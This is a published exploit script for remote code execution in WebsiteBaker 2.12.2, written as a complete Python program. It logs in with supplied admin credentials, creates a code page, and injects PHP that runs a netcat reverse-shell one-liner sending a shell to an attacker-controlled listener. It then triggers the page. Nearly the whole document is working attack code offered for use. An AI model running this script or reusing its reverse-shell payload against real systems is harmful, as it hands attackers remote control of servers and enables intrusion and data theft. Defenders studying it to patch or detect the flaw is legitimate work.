WebsiteBaker 2.12.2 Remote Code Execution

`# Exploit Title: WebsiteBaker 2.12.2 - Remote Code Execution  
# Date: 2020-07-04  
# Exploit Author: Selim Enes 'Enesdex' Karaduman  
# Vendor Homepage: https://websitebaker.org/pages/en/home.php  
# Software Link: https://wiki.websitebaker.org/doku.php/downloads  
# Version: 2.12.2  
# Tested on: Windows 10 and Ubuntu 18.04   
# Note : You start listener before execute (e.g netcat) then procide listener ip and port  
  
import requests  
import re  
from bs4 import BeautifulSoup  
import sys  
import getopt  
  
options, remainder = getopt.gnu_getopt(sys.argv[1:], 'ht:u:p:i:l:',['lhost=','lport='])  
  
for opt, arg in options:  
if opt in ('-h'):   
print('Usage: python exploit.py -t TARGET_URL -u USERNAME -p PASSWORD --lhost LISTENER_IP --lport LISTENER_PORT')  
exit()  
elif opt in ('-t'):  
main_url = arg  
elif opt in ('-u'):  
usr = arg  
elif opt in ('-p'):  
passwd = arg  
elif opt in ('-i', '--lhost'):  
lhost = arg  
elif opt in ('-l' , '--lport'):  
lport = arg  
  
reverse_shell_code = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc"+" "+lhost+" "+lport +" "+">/tmp/f"  
shell_code_eval = "echo system('"+ reverse_shell_code + "');"  
  
  
print("Exploit Author: Selim Enes 'Enesdex' Karaduman" + " " + "@enesdex" + "\n")  
##LOGIN PAGE HTML PARSE FOR LOGIN PARAMS  
url = main_url+"/admin/login/index.php"  
req = requests.get(url)  
  
login_page = req.text  
soup = BeautifulSoup(login_page, 'html.parser')  
username_par = soup.find_all(attrs={"type" : "hidden"})[1]['value']  
password_par = soup.find_all(attrs={"type" : "hidden"})[2]['value']  
weird_par = soup.find_all(attrs={"type" : "hidden"})[3]['name']  
weird_val = soup.find_all(attrs={"type" : "hidden"})[3]['value']  
  
#LOGIN TO GET SESSIoN_COOKIE  
login_page = requests.Session()  
  
burp0_url = main_url+"/admin/login/index.php"  
burp0_headers = {"Content-Type": "application/x-www-form-urlencoded"}  
burp0_data = {"url": '', "username_fieldname": username_par, "password_fieldname": password_par, weird_par : weird_val, username_par : usr, password_par : passwd, "submit": ''}  
r = login_page.post(burp0_url, headers=burp0_headers, data=burp0_data,allow_redirects = False)  
  
cok = r.headers['Set-Cookie']  
cok = cok.split(' ')[0]   
cookie_par = cok.split('=')[0]  
cookie_val = cok.split('=')[1].replace(';','')  
session_cookie = cookie_par + "=" + cookie_val  
  
  
##ADD PAGE HTML PARSE FOR CREATE PAGE PARAMS  
url = main_url+"/admin/pages/index.php"  
cookies = {cookie_par : cookie_val}  
req = requests.get(url, cookies=cookies)  
create_page = req.text  
soup = BeautifulSoup(create_page, 'html.parser')  
weird_par1 = soup.find_all(attrs={"type" : "hidden"})[0]['name']  
weird_val1 = soup.find_all(attrs={"type" : "hidden"})[0]['value']  
  
##Create Code Page to Put Shell Code  
create_page = requests.session()  
  
burp0_url = main_url+"/admin/pages/add.php"  
burp0_cookies = {cookie_par : cookie_val}  
burp0_headers = {"Content-Type": "application/x-www-form-urlencoded"}  
burp0_data = {weird_par1: weird_val1, "title": "exploit-shell", "type": "code", "parent": "0", "visibility": "public", "submit": "Add"}  
c = create_page.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)  
  
##FIND THE PAGE ID  
url = main_url+"/admin/pages/index.php"  
cookies = {cookie_par : cookie_val}  
req = requests.get(url, cookies=cookies)  
find_id = req.text  
soup = BeautifulSoup(find_id, 'html.parser')  
pageid = soup.find_all('option',string='exploit-shell')[0]['value']  
  
##HTML PARSE TO PUT SHELL CODE  
url = main_url+'/admin/pages/modify.php?page_id='+pageid  
cookies = {cookie_par : cookie_val}  
req = requests.get(url, cookies=cookies)  
add_shellcode = req.text  
soup = BeautifulSoup(add_shellcode, 'html.parser')  
weird_par2 = soup.find_all(attrs={"type" : "hidden"})[3]['name']  
weird_val2 = soup.find_all(attrs={"type" : "hidden"})[3]['value']  
  
##ADD SHELL CODE  
session = requests.session()  
  
burp0_url = main_url+"/modules/code/save.php"  
burp0_cookies = {cookie_par : cookie_val}  
burp0_headers = {"Content-Type": "application/x-www-form-urlencoded"}  
burp0_data = {"page_id": pageid, "section_id": pageid, weird_par2: weird_val2, "content": shell_code_eval}  
a = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)  
  
last_req = requests.get(main_url+"/pages/exploit-shell.php", cookies=cookies)  
`